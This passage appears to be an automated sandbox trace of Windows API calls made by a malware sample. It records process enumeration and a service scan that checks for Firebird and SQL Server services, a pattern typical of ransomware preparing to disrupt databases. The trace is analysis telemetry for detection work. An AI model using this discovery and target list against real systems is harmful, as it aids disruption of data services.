th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="overcome.exe")) returned 1 [0031.953] lstrlenW (lpString="overcome.exe") returned 12 [0031.953] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declinedreferral.exe")) returned 1 [0031.953] lstrlenW (lpString="declinedreferral.exe") returned 20 [0031.953] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="franciscotrack.exe")) returned 1 [0031.954] lstrlenW (lpString="franciscotrack.exe") returned 18 [0031.954] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nicholas.exe")) returned 1 [0031.954] lstrlenW (lpString="nicholas.exe") returned 12 [0031.955] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asbestosauthentication.exe")) returned 1 [0031.955] lstrlenW (lpString="asbestosauthentication.exe") returned 26 [0031.955] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="word.exe")) returned 1 [0031.956] lstrlenW (lpString="word.exe") returned 8 [0031.956] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="semestermeta.exe")) returned 1 [0031.956] lstrlenW (lpString="semestermeta.exe") returned 16 [0031.956] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reflects.exe")) returned 1 [0031.957] lstrlenW (lpString="reflects.exe") returned 12 [0031.957] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="beveragesradios.exe")) returned 1 [0031.957] lstrlenW (lpString="beveragesradios.exe") returned 19 [0031.957] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shaved_extraordinary.exe")) returned 1 [0032.043] lstrlenW (lpString="shaved_extraordinary.exe") returned 24 [0032.043] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ground.exe")) returned 1 [0032.043] lstrlenW (lpString="ground.exe") returned 10 [0032.044] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="least.exe")) returned 1 [0032.044] lstrlenW (lpString="least.exe") returned 9 [0032.044] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="meetings.exe")) returned 1 [0032.045] lstrlenW (lpString="meetings.exe") returned 12 [0032.045] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wooltestimony.exe")) returned 1 [0032.045] lstrlenW (lpString="wooltestimony.exe") returned 17 [0032.045] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="inexpensive.exe")) returned 1 [0032.046] lstrlenW (lpString="inexpensive.exe") returned 15 [0032.046] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="er-amd.exe")) returned 1 [0032.047] lstrlenW (lpString="er-amd.exe") returned 10 [0032.047] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="abandoned_frames.exe")) returned 1 [0032.047] lstrlenW (lpString="abandoned_frames.exe") returned 20 [0032.047] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0032.048] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0032.048] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0032.049] lstrlenW (lpString="mobsync.exe") returned 11 [0032.049] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0032.049] lstrlenW (lpString="dllhost.exe") returned 11 [0032.049] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0032.050] lstrlenW (lpString="dllhost.exe") returned 11 [0032.050] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0032.050] lstrlenW (lpString="payload2.exe") returned 12 [0032.050] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0032.051] lstrlenW (lpString="cmd.exe") returned 7 [0032.051] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0032.052] CloseHandle (hObject=0x118) returned 1 [0032.052] Sleep (dwMilliseconds=0x1f4) [0033.195] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x29fab0 [0033.196] EnumServicesStatusExW (in: hSCManager=0x29fab0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 0 [0033.196] GetLastError () returned 0xea [0033.196] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x11e4) returned 0x39206f0 [0033.196] EnumServicesStatusExW (in: hSCManager=0x29fab0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x39206f0, cbBufSize=0x11e4, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x39206f0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 1 [0033.197] CloseServiceHandle (hSCObject=0x29fab0) returned 1 [0033.197] lstrlenW (lpString="Appinfo") returned 7 [0033.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0033.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0033.197] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0033.197] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0033.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0033.197] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0033.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0033.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0033.197] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0033.197] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0033.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0033.197] lstrlenW (lpString="AudioSrv") returned 8 [0033.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0033.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0033.197] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0033.197] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0033.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0033.197] lstrlenW (lpString="BFE") returned 3 [0033.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0033.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0033.198] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0033.198] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0033.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0033.198] lstrlenW (lpString="CryptSvc") returned 8 [0033.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0033.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0033.198] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0033.198] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0033.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0033.198] lstrlenW (lpString="CscService") returned 10 [0033.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0033.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0033.198] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0033.198] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0033.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0033.198] lstrlenW (lpString="DcomLaunch") returned 10 [0033.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0033.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0033.198] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0033.198] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0033.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0033.198] lstrlenW (lpString="Dhcp") returned 4 [0033.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0033.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0033.198] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0033.198] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0033.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0033.198] lstrlenW (lpString="Dnscache") returned 8 [0033.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0033.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0033.198] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0033.199] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0033.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0033.199] lstrlenW (lpString="DPS") returned 3 [0033.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0033.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0033.199] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0033.199] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0033.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0033.199] lstrlenW (lpString="eventlog") returned 8 [0033.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0033.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0033.199] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0033.199] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0033.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0033.199] lstrlenW (lpString="EventSystem") returned 11 [0033.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0033.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0033.199] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0033.199] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0033.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0033.199] lstrlenW (lpString="gpsvc") returned 5 [0033.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0033.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0033.199] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0033.199] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0033.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0033.199] lstrlenW (lpString="iphlpsvc") returned 8 [0033.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0033.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0033.199] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0033.199] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0033.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0033.200] lstrlenW (lpString="LanmanServer") returned 12 [0033.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0033.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0033.200] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0033.200] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0033.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0033.200] lstrlenW (lpString="LanmanWorkstation") returned 17 [0033.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0033.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0033.200] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0033.200] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0033.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0033.200] lstrlenW (lpString="lmhosts") returned 7 [0033.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0033.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0033.200] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0033.200] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0033.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0033.200] lstrlenW (lpString="MMCSS") returned 5 [0033.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0033.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0033.200] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0033.200] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0033.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0033.200] lstrlenW (lpString="MpsSvc") returned 6 [0033.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0033.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0033.200] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0033.200] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0033.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0033.200] lstrlenW (lpString="Netman") returned 6 [0033.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0033.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0033.201] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0033.201] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0033.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0033.201] lstrlenW (lpString="netprofm") returned 8 [0033.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0033.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0033.201] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0033.201] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0033.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0033.201] lstrlenW (lpString="NlaSvc") returned 6 [0033.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0033.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0033.201] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0033.201] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0033.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0033.201] lstrlenW (lpString="nsi") returned 3 [0033.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0033.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0033.201] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0033.201] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0033.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0033.201] lstrlenW (lpString="PcaSvc") returned 6 [0033.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0033.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0033.201] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0033.201] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0033.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0033.201] lstrlenW (lpString="PlugPlay") returned 8 [0033.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0033.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0033.201] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0033.201] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0033.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0033.202] lstrlenW (lpString="Power") returned 5 [0033.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0033.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0033.202] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0033.202] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0033.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0033.202] lstrlenW (lpString="ProfSvc") returned 7 [0033.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0033.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0033.202] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0033.202] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0033.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0033.202] lstrlenW (lpString="RpcEptMapper") returned 12 [0033.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0033.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0033.202] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0033.202] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0033.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0033.202] lstrlenW (lpString="RpcSs") returned 5 [0033.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0033.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0033.202] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0033.202] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0033.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0033.202] lstrlenW (lpString="SamSs") returned 5 [0033.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0033.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0033.202] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0033.202] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0033.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0033.202] lstrlenW (lpString="Schedule") returned 8 [0033.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0033.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0033.202] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0033.203] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0033.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0033.203] lstrlenW (lpString="SENS") returned 4 [0033.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0033.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0033.203] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0033.203] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0033.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0033.203] lstrlenW (lpString="ShellHWDetection") returned 16 [0033.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0033.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0033.203] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0033.203] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0033.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0033.203] lstrlenW (lpString="Spooler") returned 7 [0033.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0033.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0033.203] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0033.203] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0033.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0033.203] lstrlenW (lpString="SysMain") returned 7 [0033.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0033.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0033.203] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0033.203] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0033.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0033.203] lstrlenW (lpString="Themes") returned 6 [0033.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0033.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 